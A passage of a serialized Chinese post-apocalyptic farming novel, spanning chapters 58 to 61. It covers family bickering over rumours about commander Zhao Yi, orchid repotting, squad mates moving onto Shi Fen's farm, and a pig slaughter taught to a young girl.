“嗯。”他淡定地点了点头。
赵将军狠狠沉默了。
他没想到自己儿子竟然会是个这么不负责的男人,听说赵弋在军区奴役队员将自己的名字挂在队员的任务上,自己在军区潇洒,放队员出去做最危险的S级任务,事成之后利用权力刮分队员积分……一开始他以为这些都是谣言,可是看见赵弋现在这幅冷漠的表情……
赵将军,心寒了。
“小弋,我从小就教你要做一个有担当的男人……”
话还没说完,赵弋抬起头,轻描淡写接了一句:“您是指您跟我妈再婚,我十五岁之后的事?”
赵千嶂:“咳咳 ,我对你儿时的教育确实缺席……”
“我亲生父亲是大学教授,教育方向的。”赵弋说,“他也就是死得早,不然就兰城这个草台班子,现在高低也能混个教育局副局长当当。”
赵千嶂:“……”
“所以您到底想说什么?”
赵千嶂脸憋得通红,他就知道他还念着他那个大学教授的亲爹!他嫌弃自己学历低!脑子不好!
赵将军,恼羞成怒了。
“那也不是你搞大人家女孩子肚子再带人家去买堕胎药的借口!我赵家的家教……”
“……这种鬼话你是听谁说的?”
“我还听谁说?整个军医院都传遍了!”
“怀孕的是这次Gypsy108号任务的人质,拿药的是我底下负责这次S级任务的新队员,人质目前在她家待着不想来保护区。”赵弋三言两句解释了事情原委。
赵将军愣了一下,继续恼羞成怒:“那你也不能挂名在队员名下蹭别人积分,我赵家的家教……”
“我打情况说明了,两千积分都给了她,”赵弋面无表情,“她还多花了我好几千积分给自己邻居买伴手礼带回去。”
聊太多,赵千嶂突然忘了自己之前为什么恼羞成怒了,注意力被一个新鲜的词语吸引。
“伴手礼?”
“伴手礼?”
同时刚到家的唐璟正好听到了后半句重点,前面那些乱七八糟的废话是一点都进她耳朵。
唐女士一边优雅换鞋一边出声嘲讽,“你那十几万积分也没想着给你爹妈买点补品,就先给人家刷去买邻居的伴手礼了?”
第58章 第58章太好了,城里的牛马来了……
“你们俩这个身体要二胎都多余,还用我买补品?公职人员的补贴不够你们花的吗?”
不愧是她唐璟的儿子,说话就是尖酸刻薄。
唐璟自动忽略那个刺耳的“二胎”,头脑灵活地记了起来,“你小队新招的两个队员都是女的吧?离开保护区的……是那个驻外人员?你喜欢异地恋?”
“……”
“早说啊,你喜欢异地新鲜感,我也能给你介绍几个西区的公职人员。”
“我吃好了,你们吃吧,我先上楼休息了。”赵弋三两下扒拉完碗里越泡越粗的面条,直接终止战斗,上楼去。
这会儿才跟上母子俩聊天进度的赵千嶂恍然大悟。
“难怪上次让他去相亲反应辣么大!”
唐璟翻了个白眼,让阿姨给她做晚饭,她想吃炒饭。
赵千嶂不满:“我特地擀的面条……”
唐璟委婉地哄:“什么面条?我还以为是刀削面,这么粗也不怕硌牙,我年纪大了,牙齿不好,你就多体谅体谅吧。”
赵千嶂:“……你是不是跟你儿子一样嫌弃我学历低?”
唐璟:“???”
“所以你们吃饭的时候在聊这个?”
“也不是,是军医院传的一些谣言……不对,所以你是不是嫌弃我学历低?”
“你们是怎么扯到伴手礼的?真稀奇,”唐璟自顾自坐下,“什么学历?都末世了学校都没有,哪来什么学历,真是稀罕,你又犯病了?”
“可是我听小弋的语气,似乎是觉得他那个学历高的亲生父亲要比我好。”赵千嶂有些委屈道。
唐璟:“……他那个爸?那个一年三百六十四天不着家,常年住在学校,每年寒暑假打电话逼着他写完所有寒暑假作业的爸?呵呵,相信我,你在他心里肯定比那个作业铃声要好。”
毕竟正常人都很难接受这种拿老师每句话都当成圭臬严格执行的“教育狂魔”爹。
不然当初唐璟也不会在前夫感染病毒转变后第一时间就掏枪把他崩了。
说实话,她当时非常庆幸末世的到来。
因为这样她就可以不违法地亲手了结这段无聊透顶的婚姻。
赵将军好哄的很,只需要贬低她前夫就好了,赵千嶂就会很高兴。
“今天要不要泡澡?我去给你放热水?”赵千嶂殷勤道。
“放那个橙色的精油。”
“好嘞,”赵千嶂利落吃完面条就要去忙活,起身想起正事,“最近是怎么回事?东区都是咱们小弋的谣言?是不是有人故意散播出去毁他名声的?”
“你才发现?”唐璟已经拿到了自己炒饭,优雅捏着勺子吃了一口,“他掺和那群老头的改革,怎么可能不沾一身腥?”
“那也不能拿个人作风抹黑人吧,手段真下作!”
“生气有什么用?嘴长在别人身上,谣言这种事最难处理,”更何况她儿子又是个没长嘴的,“最近传的最疯的是小弋带女孩子拿堕胎药的事?八卦果然传得更快,但比起这种八卦,挂名蹭队员积分这种事其实更加恶劣,一旦被证实,他这个高级指挥官的位置……”
“小弋肯定做不出来这种事,我赵家家风一向正!”
唐璟笑了起来,“算了,让他自己处理,他又不是什么蠢货。”
赵千嶂:“要不我还是找找老严,让他帮忙看着点,咱们也不能看着孩子在军区受欺负啊。”
“随你。”
赵千嶂琢磨护崽子去了,唐璟吃着炒饭,心想军医院应该有监控,要不要去把未来儿媳妇照片先弄到手,估计她儿子看见了会当场跳脚吧。
***
时枌已经砍了八天的树了。
别说柴房已经给她堆满了,就圈马场预留出来的的木头都已经准备好了,另外工具房里还堆了一大堆木头等着之后做点桌椅板凳柜子什么的。
时枌现在看见木头就觉得头晕。
但站在二楼阳台往下看,她落地的范围也只是往东边走了一步远而已。
呵呵,干脆累死她算了。
时枌心平气和,中途空了两天去种树。
今天早上起来看见院子里的木头心情实在是不好,干脆就去折腾自己的兰花们。
她已经一个冬天一个春天没有打理兰花了,这个时间也过了兰花花期,但天气并没有很热,是适合分盆换盆的时机。
白芳的药效第二天就发作了,成功排出了孕囊,身体也不再流血,终于能好好吃饭,时枌给她杀了只鸡补身体,糯糯这两天也没有去罗辉农场玩,一直待在白芳身边帮忙,偶尔也会帮时枌干点活。
但糯糯这个小身体看着风一吹就要倒了似的,时枌不想让她干重活,所以平时一般都给她安排一些浇水扦插的小活先适应适应。
今天要折腾兰花,白芳收拾完厨房也出来帮忙,还清理出来两个破了的砂锅,糯糯也跟着时枌去工具房把时枌之前积攒的松鳞松针小石头搬了出来。
时枌养的兰花大多都是特别大一棵,小部分是新上山采的才是小小的。
这种长了很多年的大株现在已经比一口锅还大,根系几乎快撑破花盆,有一些兰花之前是用不需要的塑料盆种的,现在也已经风化脆皮了,根系都扎到地里去。
几乎所有兰花都需要分盆或者换盆。
兰花是一株一株长在一起的,分盆就是把它掰开,分成需要的大小就行。
这些年时枌也大概摸清了这些兰花的脾气,大部分都可以在室外过冬,一部分比较娇气,苗小又怕冷,一到冬天就要搬进屋子来保暖,不然会有冻死的风险。
时枌先拿这些娇气的室内养的盆栽兰花练练手。
花盆就别指望她有多讲究了,这年头没地方买花盆,时枌都是用破的锅碗瓢盆来种花的。
手上这个兰花需要换大一号的盆,塑料盆一端就烂了,看大小跟白芳找出来的破砂锅很合适,看了眼砂锅,底下果然有小洞,这下正好不用她打洞就是一个好花盆。
先把旧“花盆”拆掉,里面的兰花根系盘在一起,像泡发的面条弯曲着,根系还比较饱满,没什么腐烂的,不需要清理,再把植株上退草的叶子清理干净,抖抖灰,摆正种进砂锅,再往里面填松鳞松针泥土石子混合物。
时枌养的兰花太多,不方便全用松鳞,不然透气性太好浇水得把她累死,所以平时都会加一些泥土或者自己晒干的青苔进去。
“好咯,拿去浇水吧!”
蹲着学习了半天的糯糯立马蹦了抱着砂锅兰花去水龙头旁边浇水。
为了方便浇水,她们就是在后院水龙头附近的空地上干活的。
白芳也跟着学会了,帮她把那
些晒干的塑料盆都拆下来,这时糯糯抱着浇好水的砂锅回来。
“放到旁边晒太阳就行了。”时枌说。
余下还有一片“草地”,还有刚开过花的,时枌要一边清理一边换盆。
忙完一整天后才把这些兰花都清理完,统统浇水放到院前晒太阳,今天是没办法给它们摆回去了,只能等明天。
她还得吃晚饭。
时枌去放工具,摘了手套洗洗手,糯糯已经去厨房帮忙了,现在糯糯也会帮着摘菜什么的,这会儿离天黑还早得很,最近白天越来越长了,时枌就拎着篮子去蓝莓地里摘一些蓝莓。
她这些蓝莓树长得格外高大,养了很多年了,每年到五月份就会挂满成串的蓝色小果子,之前转色的果子不多,叶枝蔚那时候也只是摘了一小盆带去保护区,但现在不一样了,大规模成熟,每天都能摘好多。
以前蓝莓成熟季节时枌自己一个人肯定吃不完,还得分一些给鸡鸭鹅吃,现在有了白芳糯糯还有罗辉一家,她这几棵蓝莓看着却有些不够了。
或许也可以自己再高压一些蓝莓树,扩出来的地也能种蓝莓。
毕竟蓝莓花期果期还是很漂亮的。
那种独一无二的蓝色,每到成熟期都是一抹特殊的风景。
时枌摘蓝莓主打一个豪放,手一撸拿篮子在底下接着就行,落到地上的也懒得去捡,反正还有很多。
摘了一大篮子,足够她们三个人吃,但看看这些蓝莓树,仿佛还只是受了轻伤,沉甸甸的果子垂坠着。
马上就要进入瓜果成熟期,时枌现在每天都会去种瓜的地里看看,揪掉那些不会长大的果子,或者帮助授粉,蜂箱也被她拎到了瓜地。
寻常打理农场的一天。
经过这天的放松,时枌胳膊腿都从砍树的疲惫中恢复过来,后来又连续砍了三天的树,地面上多了几个丑的要命的树桩,而她的肩颈,又开始叫嚣了。
时枌灰头土脸滚回屋子,让白芳替自己涂红花油。
桌面点着蜡烛,白芳手上抹满了油,时枌肩膀处领口被拉了下来,露出红彤彤一片的肩颈。
“要不给你刮个痧吧?我以前学过,这个还是比较简单的。”
“啊?有用吗?”
“应该有用,以前我丈夫肩膀不舒服我都会给他刮痧或者……拔火罐,”白芳想了起来,“我家里还有一套拔火罐的东西,要不明天我去一趟阳县拿回来,给你拔一下。”
“太麻烦了,你自己过去来回得十几个小时,别折腾了,就刮痧吧。”时枌说。
“也行,”白芳叫来糯糯,“糯糯,你跟着我学一下。”
等保护区之后来驻军肯定会有很多人,她们有这个手艺的话以后也能在阳县有一份糊口的工作,而且这种活也相对轻松一些。
三人正在二楼忙活,忽然听见轰隆的汽车声,以及十分嚣张的喇叭声。
时枌穿好衣服从二楼阳台看出去,发现农场铁丝网前来了两辆车。
看见她出现,滴滴声又响了起来。
“枌枌——!我们来啦——!!!”
是周霓的声音。
时枌欣喜若狂赶紧往楼下跑去迎接。
太好了,城里的牛马来了!
第59章 第59章感谢赵队
两辆车车灯将时枌前院照的灯火通明,一时间人声鼎沸,哗啦啦从车上下来五个牛马,哦不,队友。
周霓打头阵,从车顶蹦了下来,抱着时枌腻乎乎掐着嗓子叫枌枌枌枌。
秦丰骨头张照照自觉开始搬东西。
时枌艰难呼吸伸长脖子问旁边的叶枝蔚:“这是啥?你们怎么带东西过来了?”
叶枝蔚:“赵队给我们接了个长达两个月的清理任务,就在你农场附近,所以他们把自己的家都搬来了。”
时枌:“嚯。”
真不客气啊。
叶枝蔚没说的是,这次任务不仅内容简单时期长,还分配给了他们两辆车,汽油自理,车可以随便用,休闲程度堪称摸鱼任务之首。
一开始秦丰不以为然,直到看见坐标在时枌农场附近五分钟车程后,火速拉帮结派,叫上其他人一起做任务,顺便把时枌这个驻外人员名字也挂在了任务后边。
“你这边信号不好,还没收到任务确认书,不过赵队已经帮你弄好了,等过段时间基站往这边建起来,信号就会好很多。”叶枝蔚继续道。
这一次兰城的改革是史无前例的。
叶枝蔚尽量挑重要的跟时枌解释。
首先是积分政策,政府一次性放开了积分限制,允许居民个人交易积分,只需要去政府部门做个公证,签字确认走手续就行。
一群人忙着搬东西,周霓拉着时枌跟叶枝蔚进屋,开始叨叨:“这项政策还是很不错,一些人没有能力支付每月十个积分来获得保护区生存资格,这样他们的亲属可以来帮忙。”
“听说还开放了不少工作?”骨头把行李放到一楼客厅角落,“就这次从兰城到阳县铺轨道通火车,听说就招了不少人?”
“是呢,毕竟是项大工程,太缺人手了。”张照照也说。
除了积分政策外,阳县驻军也被提上日程。
“我们这次来主要就是摸清情况,当个先锋队,现在兰城内部已经开始计算自愿报名迁移到阳县的居民人数了……”周霓说。
骨头:“这玩意也说不准,要我我就不愿意离开兰城,好歹兰城有水有电,阳县啥也没有,都靠自己重新建。”
周霓没好气瞪了骨头一眼,“兰城有什么好的,挤得要命,一点生活都没有,我还是喜欢在外边。”
秦丰对这些政策不感兴趣,他从兰城买了一堆调味料回来,装了一个大箱子,这会儿刚进屋就钻进了厨房,摆放自己带来的调料瓶。
白芳跟糯糯也从楼上下来,时枌给他们介绍了白芳,糯糯不会说话,突然看见这么多人胆子有点小,紧紧贴在白芳腿边。
白芳轻手拍拍糯糯肩膀安抚,“我给你们倒点水喝吧,哦对,还得烧些热水给你们洗澡……”
她一下子就忙碌起来。
骨头被招待的有些不好意思,主动去厨房帮忙生火烧水,还叫上了傻乎乎坐在餐桌前吃蓝莓听时枌她们聊天的张照照。
他们几个好歹是在野外做任务这么多年,最基本的生存技能还是没问题的。
“这个锅烧水,这个锅我这会儿给你们下点面条?”一进厨房秦丰就跟回到自己家似的开始安排起来,围裙也自觉系上了。
“时枌!摘点青菜!下面条了!鸡蛋也没了!”秦丰搜刮完厨房扯着嗓子喊。
白芳被抢了烧水的活原本就局促不自在,一听他要下厨,就赶紧给自己揽活:“我跟糯糯去摘菜拣鸡蛋,别叫时枌了,她最近很累的。”
秦丰:“啊?她农场又有什么活?”
白芳:“往东边扩地,建马场,好多树要砍。”
秦丰看了眼厨房靠着墙壁密密麻麻的柴,“我说呢厨房咋这么多柴,我要是不来什么时候才烧得完啊。”
骨头跟张照照把灶膛烧的火热,两人黑黝黝的脸上映着火光,“扩地?马场?砍树?”
城里的牛马已经自己给自己总结安排活了。
白芳这些天天天都听着时枌念叨“牛马牛马”的,看见厨房里这三个高高壮壮的男人,一下子就跟牛马二字对上了号。
“时枌每天都盼着你们来呢。”白芳说。
张照照嘿嘿一笑,“是吗?难怪这几天我总打喷嚏,原来是枌枌念着我呢。”
白芳:“……”
骨头一巴掌拍张照照脑袋上,”
老六你疯了?”
张照照撇撇嘴,“开个玩笑嘛,树在哪?我现在就去劈。”
白芳跟着尴尬笑了笑,“今天太晚了,你们刚到还是先休息吧。”
秦丰也想起来,“老六去把车开到后院去,放到前院太招摇了。”
张照照被点名起身,“后院在哪?”
白芳对糯糯说:“你去帮哥哥们摘点菜,我带着这个哥哥去后院。”
白芳给了糯糯一根蜡烛,骨头看见连忙掏出自己的战术手电,“来用这个,一摁就亮了。”
手电比蜡烛肯定要方便得多,糯糯也是第一回玩手电,好奇的眼睛都睁大了。
在时枌家里养了将近半个月,糯糯终于也长了点肉,看着没以前那么瘦了。
骨头看着糯糯小脸上突出的大眼睛,“小可怜儿,秦丰给糯糯多卧个鸡蛋!”
忙着和面擀面条的秦副队:“知道了知道了!水都开了!谁他妈让你们火烧这么旺的?!是想把锅烧穿吗?!”
骨头赶紧把递柴火的手收了回来,张照照则是跟白芳糯糯一起出去了。
客厅时枌无意瞥见厨房火光大盛,差点以为厨房着火,进来才发现原来是灶膛火太旺。
“我吃不了多少,你们按照自己的份量做就行。”时枌说。
周霓也跟过来,靠在厨房门框上好奇看着厨房里两个男人忙活。
她对做饭一窍不通,没有发言权,安静等着吃饭就行。
叶枝蔚:“趁着都在,要不把房间分一下吧?”
这提醒了时枌。
她家现在人有点多了,白芳跟糯糯住在一楼已经习惯,一大一小一间房刚刚好,现在就剩下一楼一间房,二楼爷爷奶奶的一间房。
他们有五个人,分男女宿舍也得两间房,如果让白芳跟叶枝蔚还有周霓挤在一起也不合适,根本睡不下。
“秦丰骨头张照照住一楼,那间房稍微大一点,秦丰也熟悉,一会儿他带着你们收拾。”时枌说,“白芳跟糯糯就不搬了,周霓跟枝蔚陪我住楼上吧,二楼还有一间房。”
这也是最好的安排。
于是几人也不再闲聊,搬着东西上楼收拾。
时枌的二楼秦丰他们基本没见过,叶枝蔚也只是上来过一次,这一次时枌把二楼分配给她们叶枝蔚心里很是触动,小心翼翼搬东西,避免碰坏。
周霓性格大大咧咧,但也看出了二楼的精致,而且时枌给她们的房间就在自己隔壁,还是上锁的,时枌去找出钥匙才打开。
开门后,时枌让出空间让她们进来。
“这里是我爷爷奶奶生前住的地方,我平时也会打扫,还是很干净的,床铺都没铺,衣柜里有旧床单被罩,都是洗过的,不脏,这个衣柜……里面都是我爷爷奶奶的物件,我收拾一下,给你们空出一半空间来放衣服。”
叶枝蔚帮着收拾衣柜,周霓则是铺床去。
这张木床很有些年头了,但非常结实,不像普通木床坐上去吱呀吱呀乱叫,特别稳当,还挂了白色的蚊帐。
去拿枕套的时候周霓看见衣柜里码放的子弹哟呵一声,“枌枌你这还是个小型军火库啊?”
时枌:“嘿嘿,感谢赵队。”
叶枝蔚下巴一指书桌底下,“喏,看看那是什么。”
周霓低头一看,——她个子太高之前没注意到书桌下。
这一看不得了。
“卧槽!这什么东西?迫击炮你也有!”
时枌腼腆笑笑,“感谢赵队。”
“还有一箱炮弹?!”周霓惊呆了。
时枌一拍脑门,光顾着不好意思了,“还得把这些收拾一下,不然不方便你们出入。”
时枌抱着迫击炮就放到了客厅的柜子里,一箱炮弹也搬了出来,但是靠着墙码放的子弹太多不方便搬,周霓就说别搬了。
“别说,还是按口径摆的,挺有艺术感。”周霓夸道。
时枌老实一笑,“这样方便拿取。”
收拾完卧室,时枌又带她们来二楼的浴室,“这个浴室比一楼的要大一点,咱们三个人用应该没问题。”
叶枝蔚想起来一楼就一个洗手间,肯定是白芳跟糯糯在用,又想起楼下还住着秦丰骨头张照照三个大男人,这样之后一定很不方便。
“一楼洗澡人太多了,明天我在你后院靠东边搭一个洗澡间吧,这样他们三个男人也方便洗澡。”叶枝蔚说。
周霓:“对对对,他们三个大男人不用那么讲究,底下还有个小姑娘呢,上厕所洗澡的太不方便。”
“那行,明天再建吧,我最近砍树弄了不少好木材,就是一个人忙不过来。”时枌说。
周霓鼻子动了动,“我就说你这身上怎么一股药味?受伤了?”
时枌拉开自己衣领给她们看肩膀:“你们来的时候正打算让白芳给我刮痧呢,最近砍树砍的,别说了,太累了,全是力气活……你们来的正好,我包吃包住,你们帮忙种地砍树……”
周霓拍拍胸口:“包在我身上!这点小事算什么,包吃包住可太好了!”
楼下秦丰扯着嗓子叫她们吃饭,三人也就下楼。
糯糯已经坐在餐桌边长凳上,乖乖捏着筷子吃面条。
秦丰做的手擀面非常好吃,而且还不是那种很简单清汤寡水的,他临时做了辣油,除了糯糯每个人都淋了辣油,再加上青菜跟荷包蛋,光是看卖相就很不错。
时枌也好久没吃到秦副队做的饭了,虽然不太饿,但还是三两下就干完了一整晚面条,咕噜噜喝着汤。
骨头张照照跟周霓也只是一起出任务的时候尝过秦副队的手艺,那也是在野外条件有限,没想到条件充裕的情况下秦副队竟然这么牛,骨头已经发誓拜入秦副队烧火堂门下,终身会员,至死不渝。
给秦丰恶心得掉了一层鸡皮疙瘩。
“明早早饭馒头咸鸭蛋,我再炒个青椒鸡蛋,先就这样,等过两天我们上山搞点猎物回来再好好开荤!”秦丰大手一挥,宣布了接下来的日程安排。
时枌举起手,“我愿意杀一头猪给你们补充体力,只要你们帮忙干活,吃的不用操心,我会尽力满足!”
秦丰大惊失色,“这么大方?一上来就杀猪?时枌你这样显得我们之前感情很一般啊!那时候你都是过了大半个月才让我们杀猪的!”
时枌:“今时不同往日,现在你们都是我忠实的队友,我当然要大方一点。”更何况,苦日子还在后头呢。
骨头:“热泪盈眶了。”
张照照:“所以明天能吃上五花肉?嘶溜。”
周霓:“我这辈子最爱吃猪肝了,强烈建议明天多一盘爆炒猪肝!”
糯糯也举起手。
白芳:“糯糯说她想邀请烈烈跟阳阳来家里吃猪肉。”
烈烈跟阳阳家是牛羊大户,上次他们家杀了只羊,叫上她们一起去吃过烤全羊,糯糯一直记着,因此现在说要杀猪,糯糯就想邀请罗辉一家来一起吃。
“罗辉一家肯定是要邀请的,明早白芳带糯糯去吧。”时枌说。
糯糯高兴地拍了拍手,腼腆地笑了起来。
吃完饭住二楼的要排队洗澡收拾行李,骨头被秦丰揪着去刷碗,白芳想帮忙都帮不上,只能带着糯糯先去洗澡。
秦丰就在厨房给骨头跟张照照列规矩:“以后在农场有点眼色,别干巴巴站着让女人干活!你看看你们一个个长得人高马大的,怎么能一点活儿都不干?灶膛的灰收拾了没?要装到桶里,那是时枌要的草木灰,热水壶是不是满的?还有,房间收拾了没?床铺了没?还等着老子给你们铺啊?”
骨头都被秦副队训的抬不起头。
“是是是,我来刷碗,老六去铺床。”
“算你们有点觉悟,我这会儿得把面发好,你们干活去,记着,等糯糯跟白芳先洗完澡再去洗,别跟个瞎子似的一点眼力见都没有。”秦丰继续叮嘱。
张照照:“那我想尿尿怎么办?”
秦丰:“憋着。”
张照照:“噢,行吧。”
“骨头刷完碗把灶里烤的红薯掏出来,给她们分一分。”秦丰说。“老六先把桌子擦了,再回房间收拾床铺。”
等白芳洗完澡出来,看见干干净净的桌子跟地板,摆放整齐的桌椅,扭头一看厨房,碗已经刷完了,秦丰正在捏馒头,骨头热情地分给她跟糯糯热乎乎的烤红薯。
忽然,白芳产生了一种自己被迫下岗的危机感。
第60章 第60章聊赵队被排挤呢。
时枌的二楼从来没这么热闹过。
叶枝蔚先去洗澡去了,她们三个都是女生,洗澡慢,而且人
多,得下楼去提热水。
不过今天家里人多,时枌跟周霓下楼提水的时候发现一桶热水已经放在楼梯口,相当绅士地没有上楼,她们正好可以拎上去。
等叶枝蔚洗完,周霓进去洗的时候,时枌再下楼还水桶,就看见秦丰跟骨头在一楼客厅桌子旁边坐着啃红薯,旁边还放着一盘冒热气的,整个一楼都是烤红薯的香甜气息。
见她下楼,骨头很有眼色地跑过来拎水桶,问她还要不要热水。
时枌:“不用了,我们差不多够洗了。”
秦丰:“顺便把红薯带上去,刚出灶的,老香了。”
“行。”时枌拿起红薯准备上楼,忽然想起什么,扭头问秦丰,“你们都来了,赵弋怎么没来?”
骨头两眼放光,整个人激动到神经失常。
秦丰大大咧咧啃红薯:“老赵啊,他忙着呢,没时间跟咱们一起度假,再说现在东区……哎,他名声不好,最近天天被人戳脊梁骨呢,我估计过不了多久那群老头子就要拿他当老巫婆烧了祭天咯!”
骨头心想哪有他说的这么严重,刚想反驳,就看见时枌抱着红薯一脸好奇坐了下来,“哦?什么老巫婆?赵队咋啦?”
骨头闭嘴了,加入了秦丰的造谣队伍,把赵队近况说的天上有地下无的惨绝人寰。
“就东区的那群激进派,恨不得今天就开着坦克撞源城抢资源,阳县这点子什么煤矿啊铁矿啊,他们是一点都看不上,哪有石油带劲……赵队这次不知道抽了什么疯铁了心要支持改革,坚定站在老严为首的保守派这边,得罪人了呗。”骨头两手一摊嘴一瘪。
“好复杂,所以呢?”时枌不懂政治也不懂政策更不懂选边站队,这些对她来说都是陌生新奇的存在。
“所以就被人造谣呗,说咱们赵队带头挂名蹭队员积分,——就是利用自己的权利把自己的名字挂在执行任务的队员身上蹭积分奖励,不过这事赵队从来没干过,叶枝蔚不是也说上次你单独出任务的两千的积分赵队都打申请给了你么?”骨头说。
“是都给了我,所以他没解释?”时枌继续问。
秦丰笑,“老赵就是个锯嘴的葫芦,而且他一个高级指挥官跟一群新兵较什么劲,多跌份儿啊你说是吧。”
“是是是,所以嘛,这不是挺尴尬的,谣言满天飞,上头也开始查了,听说还真的查出来不少挂名蹭积分的领导,这下两边吵得不可开交,闹起来咯,赵队被牵扯进去,一时半会儿是出不了保护区的。”
这事说简单也简单,说复杂也复杂。
本来这种队长挂名队员蹭积分的事就很常见,但也不是白蹭的,偶尔队长也会利用自己的权利给队员多发给物资啊子弹什么的,这个蹭的积分就当是保护费,是保护区内各个小队默认的潜规则,——赵弋的队伍没有,因为他自己积分就花不完根本用不上蹭队员的。
保护区内两大派别,保守派跟激进派,以及一小撮自称中立的两边倒的墙头草。这次蹭积分这事是保守派提出来的,结果谣言传得最凶的是赵弋这个高级指挥官,并且最近赵弋跟老严走的近,已经默认是他们保守派的人了,赵弋出事,对方激进派的就扯大旗闹了起来,说老严领导无方巴拉巴拉,结果赵弋就被带进去查了一个礼拜,过往的任务一个个比对是否有蹭队员积分的行为,因为这事,他们这些个队员都被叫去问过话,也就是时枌只做了一个任务而且还驻外才没被骚扰。
可惜查了这么久,也没查出赵弋有啥奴役队员的出格行为,最后不了了之。可他们这么把人抓进去审了一礼拜,任谁都咽不下这口气吧。
冷知识,赵弋有个有权有势有名望的爸,虽然不是亲生,但随他姓啊。
“据说是赵将军给老严施压,老严连夜彻查所有高级指挥官以及所有小队队长,一把子就把桌给掀啦!”
“‘不是要查吗?来啊,都来查啊,一个都别放过!今天要是逮不出来谁蹭积分就别散会!’”骨头捏着嗓子学胖乎乎老严说话,歪嘴斜眼怪滑稽的,“这下好啦,查出来激进派那边三个指挥官全部落网,还有不少小队队长被叫进去审问,当然,老严这边也损失了不少人马,但比起来还是他们那边风气差……”
时枌吃着烤红薯:“嚯,真热闹。”
秦丰:“那可不是,你不知道最近东区,啧啧,酒馆都没人去了!”
时枌担心红薯冷了不好吃,听完热闹就更他们说拜拜,带着红薯上楼去。
叶枝蔚正在沙发上擦头发,周霓也洗完澡出来了,大大咧咧穿着睡衣,披散着湿头发,叫时枌赶紧去洗澡。
时枌把红薯给她俩就进去洗。
她不洗头,所以洗得很快,换好睡衣就出来,一下被周霓喂了一口热乎乎剥好的红薯。
“刚刚听你们在楼下聊得那么热闹,聊什么啊?”叶枝蔚问。
她换了睡衣不方便下楼所以就没下去。
楼上楼下隔音一般,她又擦着头发,断断续续的,没太听懂。
时枌解释:“聊赵队被排挤呢。”
周霓:“啊,这事啊,算赵队倒霉,谁让他莫名其妙被扣了锅盖当出头鸟打了呗。”
“应该不至于这么严重,我听说赵队已经被放出来了,负责这次的调查工作。”叶枝蔚说,“如果赵队有事,我们也不可能会申请到这次任务。”
这任务在东区就是个鸡肋,积分奖励少,但任务周期长,还要定时汇报工作,如果没有时枌的话他们就只能在野外度过这两个月,条件太艰苦,别的小队都不肯接,所以才落到了他们头上。
周霓没骨头似的趴在沙发上,红薯也吃完了,“最好别像源城似的,从内部开始乱……”
叶枝蔚也轻叹口气。
这是他们无法控制的。
时枌不懂这些,看看时间不早了,三人就各回各的房间睡觉去。
今晚家里人多,时枌睡的格外安稳,外边要是有什么动静也不会惊醒她,迷迷糊糊听见什么声音她也会想:反正楼下还住着三个雇佣兵,要真的有人偷袭,也得把那三个干掉才轮得到她吧?
这么想着,可不就轻松了么。
第二天一早是被楼下叽叽喳喳动静吵醒的。
周霓骂骂咧咧起床,正在刷牙,看见时枌睡眼惺忪从卧室出来跟她打招呼。
“几点啦?”时枌问。
“才九点,早着呢。”周霓说。
叶枝蔚倒是很清醒,她已经开始洗脸了。
时枌洗漱完下楼,人也彻底醒了,看见一整个客厅乱糟糟的,狠狠沉默。
一只肥硕的猪被五花大绑瘫在地上,猪嘴也被绳子绑住,但仍然挡不住猪撕心裂肺的嚎叫声,另外门口还拴着一只羊,扭头正在啃时枌的兰花。
时枌一个箭步冲出门,把羊牵远了些。
时枌压着火气。
秦丰端着馒头从厨房出来,边走边说:“咱们一早上吃完饭就忙活起来啊,骨头跟老六去帮时枌砍树,叶枝蔚去建洗澡间,周霓跟着帮忙建,白芳吃完饭就烧热水咱们要杀猪……这羊今天是一起处理了还是留着明天吃啊?”
时枌的火气一下子就熄了。
算了,来这么多人帮忙,家里乱一点是正常的。
反正是她来杀猪,干脆一起把羊杀了完事,免得明天又得拿刀出来弄一身血。
“羊是罗辉送来的?”时枌问,“我今天一起处理了吧,糯糯你赶在午饭前给罗辉家摘一些新鲜菜过去,然后地窖里的红豆跟绿豆也装两袋,一起拿过去。”
估
计是看见她家里来了客人罗辉才送了羊过来,这也是人情,时枌不能不还。
被分配到任务的糯糯一脸认真点头。
“这会儿先不慌摘菜,糯糯来给我打下手吧。”
骨头一脸震惊:“啊?糯糯打下手啊?场面是不是有点少儿不宜?”
周霓白了他一眼,“外边丧尸满地跑你不觉得少儿不宜,怎么,现在忙着打马赛克啊?”
骨头:“……”
虽然是怼他,但好有道理哦。
糯糯已经熟练去工具房把时枌那一套杀猪的刀具抱了出来,时枌嘴里叼着第二个馒头,系好围裙,这围裙是牛皮的,清洗方便。
时枌让骨头跟张照照帮忙把猪搬到室外去,又从工具房翻出杀猪用的木板,木板放到两个长板凳上就成了大桌子,骨头跟张照照两个大男人都摁不住这头猪,还是秦丰跟周霓过来帮忙,周霓凭借高个子荣获猪大腿,抱着猪大腿那叫一个亲密。
时枌一刀扎进猪脖颈,血就流了出来,猪越挣扎,血流得越快,摁猪的几个人都铆足了劲生怕猪跑了。
糯糯在一边认真看着。
时枌给糯糯讲解,“就这个地方,是动脉,人也是一样,一刀捅下去哗啦啦流血,死得特别快。”
“杀猪一定要在它活着的时候动手,让血流出来,要是不放血猪肉会骚,就不好吃了,猪血也很好吃的,跟豆腐一样,中午你秦丰哥哥给你做猪血吃,好好补补身体。”
糯糯小鸡啄米式点头,心想一会儿也要叫阳阳跟烈烈一起来吃。
骨头:“……我大动脉有点凉。”
秦丰:“我给你烫烫?”
骨头:“滚。”
等猪彻底不动弹了,他们也不用继续摁,开始烧火烫猪皮,再用刀来刮猪毛。
猪毛硬得很,只能这么刮。
又是一项艰苦的活,糯糯有自己的小刀,也帮着刮猪毛,时枌教她怎么的使劲,周霓学了会儿就不想搞了,跑去给叶枝蔚帮忙。
刮着刮着,时枌听见糯糯嘴巴撅起来,发出声音。
“猪……”
时枌激动:“对对对,这就是猪!”
然后糯糯做了个吸溜口水的表情。
时枌被萌化了。
60-70
第61章 第61章所以今天餐桌上上才没有……
猪毛刮干净,照流程开膛破肚,剔骨分肉。
这一次时枌切的很慢,一边切一边给糯糯介绍猪的关节,提醒她这块肉该怎么处理叫什么名字,那块骨头怎么剃叫什么名字。
撕猪板油的时候糯糯还帮着她一起撕,磨刀糯糯也会跟着学。
“这个筒子骨,就是猪大腿,”时枌把筒子骨递给糯糯让她好好观察,又用刀背拍拍自己的大腿,“人的大腿肉很多,也很重要。”
糯糯:“腿……”
“对!大腿。”
糯糯能开口说话就是一个好的开始。
